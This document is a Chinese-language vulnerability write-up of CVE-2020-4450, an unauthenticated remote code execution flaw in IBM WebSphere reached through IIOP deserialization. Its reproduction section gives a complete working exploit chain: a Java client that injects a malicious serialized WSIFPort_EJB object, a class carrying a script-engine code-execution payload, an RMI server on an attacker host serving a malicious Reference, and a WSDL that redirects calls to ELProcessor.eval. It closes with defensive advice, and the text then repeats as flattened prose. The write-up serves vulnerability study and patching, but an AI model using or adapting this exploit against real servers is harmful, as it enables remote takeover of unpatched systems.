WebSphere 远程代码执行漏洞浅析(CVE-2020-4450)
字数 1542 2025-08-20 18:17:47

WebSphere 远程代码执行漏洞分析(CVE-2020-4450)教学文档

漏洞概述

CVE-2020-4450是IBM WebSphere Application Server (WAS)中的一个高危远程代码执行漏洞,于2020年6月8日由IBM官方发布通告。该漏洞通过IIOP协议上的反序列化恶意对象实现攻击,未经身份认证的攻击者可以远程攻击WAS服务器,在目标服务端执行任意代码,获取系统权限。

漏洞原理分析

漏洞触发流程

  1. IIOP协议处理:WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法处理
  2. 反序列化入口:当ServiceContext对象不为空时,调用com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext进入反序列化执行流
  3. 反射调用:最终通过com.ibm.rmi.io.IIOPInputStream#invokeObjectReader反射调用readObject方法进行反序列化

关键调用栈

readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)

核心利用点

利用org.apache.wsif.providers.ejb.WSIFPort_EJB.classreadObject方法中的JNDI注入逻辑:

lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) 
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)

关键利用技术

  1. JNDI注入:修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory
  2. WSIF利用:通过自定义wsdl文件将接口方法映射到其他类的危险方法
  3. EJB规范利用:通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法到javax.el.ELProcessoreval方法

漏洞复现

环境准备

  1. 受影响的WebSphere Application Server版本
  2. 攻击机(运行POC代码)
  3. RMI服务器(用于托管恶意Reference对象)
  4. HTTP服务器(用于托管恶意wsdl文件)

POC代码分析

主测试类

public class Test {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");

        InitialContext context = new InitialContext(env);
        context.list("");

        // 通过反射获取并修改内部上下文对象
        Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
        f_defaultInitCtx.setAccessible(true);
        WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);

        Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
        f_context.setAccessible(true);
        CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);

        Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
        f_corbaNC.setAccessible(true);
        _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);

        // 获取并修改CORBA相关对象
        Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
        f__delegate.setAccessible(true);
        ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);

        Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
        f_ior.setAccessible(true);
        IOR ior = (IOR) f_ior.get(clientDelegate);

        Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
        f_orb.setAccessible(true);
        ORB orb = (ORB) f_orb.get(clientDelegate);

        // 设置恶意上下文
        GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
        Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
        getConnection.setAccessible(true);
        Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
        Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
        setConnectionContexts.setAccessible(true);

        ArrayList v4 = new ArrayList();

        // 创建恶意WSIFPort_EJB对象
        WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);

        Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
        fieldEjbObject.setAccessible(true);
        fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());

        // 构造恶意序列化数据
        CDROutputStream outputStream = ORB.createCDROutputStream();
        outputStream.putEndian();
        Any any = orb.create_any();
        any.insert_Value(wsifPort_ejb);
        PropagationContext propagationContext = new PropagationContext(0,
                new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
                new TransIdentity[0],
                any);
        PropagationContextHelper.write(outputStream,propagationContext);
        byte[] result = outputStream.toByteArray();
        
        // 设置恶意ServiceContext
        ServiceContext serviceContext = new ServiceContext(0, result);
        v4.add(serviceContext);
        setConnectionContexts.invoke(connection, v4);
        context.list("");
    }
}

EJSWrapperS类

class EJSWrapperS extends EJSWrapper {
    @Override
    public Handle getHandle() throws RemoteException {
        Handle var2 = null;
        try {
            SessionHome sessionHome = new SessionHome();
            J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
            
            // 通过反射设置EJBHome属性
            Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
            j2eeName.setAccessible(true);
            j2eeName.set(sessionHome, j2EEName);
            
            Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
            jndiName.setAccessible(true);
            jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");
            
            // 构造恶意代码执行payload
            Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
            
            BeanId beanId = new BeanId(sessionHome, key, true);
            BeanMetaData beanMetaData = new BeanMetaData(1);
            beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
            
            // 设置恶意ObjectFactory
            Properties initProperties = new Properties();
            initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
            
            Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
            c.setAccessible(true);
            var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return var2;
    }
}

RMI服务器

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        
        // 构造恶意Reference对象
        Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
        ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));
        ref.add(new StringRefAddr("serviceNS", null));
        ref.add(new StringRefAddr("serviceName", null));
        ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
        ref.add(new StringRefAddr("portTypeName", "Gadget"));
        ref.add(new StringRefAddr("preferredPort", "JavaPort"));
        ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("poc", referenceWrapper);
    }
}

恶意WSDL文件

<?xml version="1.0" ?>

<definitions targetNamespace="http://wsifservice.addressbook/"
             xmlns:tns="http://wsifservice.addressbook/"
             xmlns:xsd="http://www.w3.org/1999/XMLSchema"
             xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
             xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
             xmlns="http://schemas.xmlsoap.org/wsdl/">

    <!-- 定义消息类型 -->
    <message name="findByPrimaryKeyRequest">
        <part name="el" type="xsd:string"/>
    </message>

    <message name="findByPrimaryKeyResponse">
        <part name="counterObject" type="xsd:object"/>
    </message>

    <!-- 定义端口类型 -->
    <portType name="Gadget">
        <operation name="findByPrimaryKey">
            <input message="tns:findByPrimaryKeyRequest"/>
            <output message="tns:findByPrimaryKeyResponse"/>
        </operation>
    </portType>

    <!-- 定义绑定 -->
    <binding name="JavaBinding" type="tns:Gadget">
        <java:binding/>
        <format:typeMapping encoding="Java" style="Java">
            <format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
            <format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
        </format:typeMapping>
        <operation name="findByPrimaryKey">
            <java:operation
                methodName="eval"
                parameterOrder="el"
                methodType="instance"
                returnPart="counterObject"
            />
        </operation>
    </binding>

    <!-- 定义服务 -->
    <service name="GadgetService">
        <port name="JavaPort" binding="tns:JavaBinding">
            <java:address className="javax.el.ELProcessor"/>
        </port>
    </service>
</definitions>

漏洞利用流程

  1. 启动RMI服务器,绑定恶意Reference对象
  2. 启动HTTP服务器,托管恶意WSDL文件
  3. 运行POC代码,触发漏洞
  4. WAS服务器通过IIOP协议接收恶意序列化数据
  5. 反序列化过程中触发JNDI查找
  6. 从RMI服务器获取恶意Reference对象
  7. 通过WSIFServiceObjectFactory加载恶意WSDL文件
  8. 将EJBHome的findByPrimaryKey方法映射到ELProcessor的eval方法
  9. 执行任意代码

防御措施

  1. 及时更新:应用IBM官方发布的安全补丁
  2. 网络防护
    • 限制IIOP端口的网络访问
    • 使用防火墙规则限制不必要的IIOP通信
  3. 安全配置
    • 禁用不必要的IIOP服务
    • 配置WebSphere安全域,限制远程访问
  4. 监控检测
    • 监控IIOP端口的异常流量
    • 部署WAF规则检测恶意IIOP请求

技术要点总结

  1. IIOP协议:CORBA的通信协议,WebSphere使用它进行分布式通信
  2. 反序列化漏洞:通过构造恶意序列化对象触发
  3. JNDI注入:修改ObjectFactory实现类为恶意类
  4. WSIF利用:通过WSDL文件重定向方法调用
  5. EJB规范:利用findByPrimaryKey方法的调用机制

参考资源

  1. ZDI漏洞分析
  2. 360漏洞报告
  3. Seebug Paper
  4. 安全内参
WebSphere 远程代码执行漏洞分析(CVE-2020-4450)教学文档 漏洞概述 CVE-2020-4450是IBM WebSphere Application Server (WAS)中的一个高危远程代码执行漏洞,于2020年6月8日由IBM官方发布通告。该漏洞通过IIOP协议上的反序列化恶意对象实现攻击,未经身份认证的攻击者可以远程攻击WAS服务器,在目标服务端执行任意代码,获取系统权限。 漏洞原理分析 漏洞触发流程 IIOP协议处理 :WAS对于IIOP的数据由 com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request 方法处理 反序列化入口 :当 ServiceContext 对象不为空时,调用 com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext 进入反序列化执行流 反射调用 :最终通过 com.ibm.rmi.io.IIOPInputStream#invokeObjectReader 反射调用 readObject 方法进行反序列化 关键调用栈 核心利用点 利用 org.apache.wsif.providers.ejb.WSIFPort_EJB.class 的 readObject 方法中的JNDI注入逻辑: 关键利用技术 JNDI注入 :修改 environment 变量中的 java.naming.factory.object 属性值为 org.apache.wsif.naming.WSIFServiceObjectFactory WSIF利用 :通过自定义wsdl文件将接口方法映射到其他类的危险方法 EJB规范利用 :通过自定义wsdl文件映射EJBHome的 findByPrimaryKey 方法到 javax.el.ELProcessor 的 eval 方法 漏洞复现 环境准备 受影响的WebSphere Application Server版本 攻击机(运行POC代码) RMI服务器(用于托管恶意Reference对象) HTTP服务器(用于托管恶意wsdl文件) POC代码分析 主测试类 EJSWrapperS类 RMI服务器 恶意WSDL文件 漏洞利用流程 启动RMI服务器,绑定恶意Reference对象 启动HTTP服务器,托管恶意WSDL文件 运行POC代码,触发漏洞 WAS服务器通过IIOP协议接收恶意序列化数据 反序列化过程中触发JNDI查找 从RMI服务器获取恶意Reference对象 通过WSIFServiceObjectFactory加载恶意WSDL文件 将EJBHome的findByPrimaryKey方法映射到ELProcessor的eval方法 执行任意代码 防御措施 及时更新 :应用IBM官方发布的安全补丁 网络防护 : 限制IIOP端口的网络访问 使用防火墙规则限制不必要的IIOP通信 安全配置 : 禁用不必要的IIOP服务 配置WebSphere安全域,限制远程访问 监控检测 : 监控IIOP端口的异常流量 部署WAF规则检测恶意IIOP请求 技术要点总结 IIOP协议 :CORBA的通信协议,WebSphere使用它进行分布式通信 反序列化漏洞 :通过构造恶意序列化对象触发 JNDI注入 :修改ObjectFactory实现类为恶意类 WSIF利用 :通过WSDL文件重定向方法调用 EJB规范 :利用findByPrimaryKey方法的调用机制 参考资源 ZDI漏洞分析 360漏洞报告 Seebug Paper 安全内参